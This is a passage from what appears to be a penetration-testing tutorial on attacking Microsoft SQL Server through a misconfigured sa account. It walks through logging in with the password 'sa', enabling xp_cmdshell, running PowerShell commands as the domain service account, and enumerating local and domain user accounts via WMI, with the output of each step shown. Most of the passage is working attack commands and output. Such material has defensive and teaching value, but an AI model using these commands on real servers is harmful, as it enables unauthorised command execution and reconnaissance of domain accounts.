&lt;p style="padding-left:30px;"&gt;##MS_PolicySigningCertificate##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_SmoExtendedSigningCertificate##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_PolicyEventProcessingLogin##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_PolicyTsqlExecutionLogin##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;##MS_AgentSigningCertificate##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;NT AUTHORITY\SYSTEM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;NT SERVICE\MSSQLSERVER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;HACME\administrator&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;HACME\sql-admin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;NT SERVICE\SQLSERVERAGENT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;hacme&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;foo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Notice how the command displays both SQL accounts and domain accounts. All this is possible because of a misconfigured sa account.&lt;/p&gt;
&lt;p&gt;Back to business&amp;hellip;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s execute some Windows PowerShell &amp;nbsp;using SQL and the sa account. In this example, we will use the &lt;b&gt;Get-TSSQL&lt;/b&gt; function, which basically uses the code described earler. The &lt;b&gt;xp_cmdshell&lt;/b&gt; stored procedure is disabled by default, but because we now own the sa account, we can enable it as shown here:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $connectionString = &amp;quot;server=10.0.0.3;database=master;User Id=sa;Password=sa;&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $query = &amp;quot;EXEC sp_configure &amp;#39;show advanced options&amp;#39;,1; RECONFIGURE;&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; Get-TSSQL -Query $query -ConnectionString $connectionString&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $query = &amp;quot;EXEC sp_configure &amp;#39;xp_cmdshell&amp;#39;,1; RECONFIGURE&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; Get-TSSQL -Query $query -ConnectionString $connectionString&lt;/p&gt;
&lt;p&gt;Now we can execute Windows PowerShell remotely through the server running SQL Server. Here is an example that starts Windows PowerShell and runs the internal command &lt;b&gt;whoami&lt;/b&gt;.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $cmd = &amp;#39;powershell.exe -Command &amp;quot;&amp;amp; { whoami }&amp;quot;&amp;#39;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $query = &amp;quot;EXEC xp_cmdshell &amp;#39;$cmd&amp;#39;&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; Get-TSSQL -Query $query -ConnectionString $connectionString&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;output&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;hacme\sql-serviceaccount&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Notice how &lt;b&gt;whoami &lt;/b&gt;displays &lt;b&gt;hacme\sql-serviceaccount&lt;/b&gt;. In other words, we can now execute commands as a domain account (the account that is configured to start the SQL Server service). It is also possible to grab all of the local and domain accounts available in the domain by using a &lt;b&gt;wmi&lt;/b&gt; class. This is shown in the command that follows.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $cmd = &amp;#39;powershell.exe -Command &amp;quot;&amp;amp; { gwmi Win32_UserAccount | select Caption }&amp;quot;&amp;#39;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$query = &amp;quot;EXEC xp_cmdshell &amp;#39;$cmd&amp;#39;&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Get-TSSQL -Query $query -ConnectionString $connectionString&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;output&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Caption&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;-------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;SRV01\Administrator&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;SRV01\Guest&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;HACME\Administrator&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
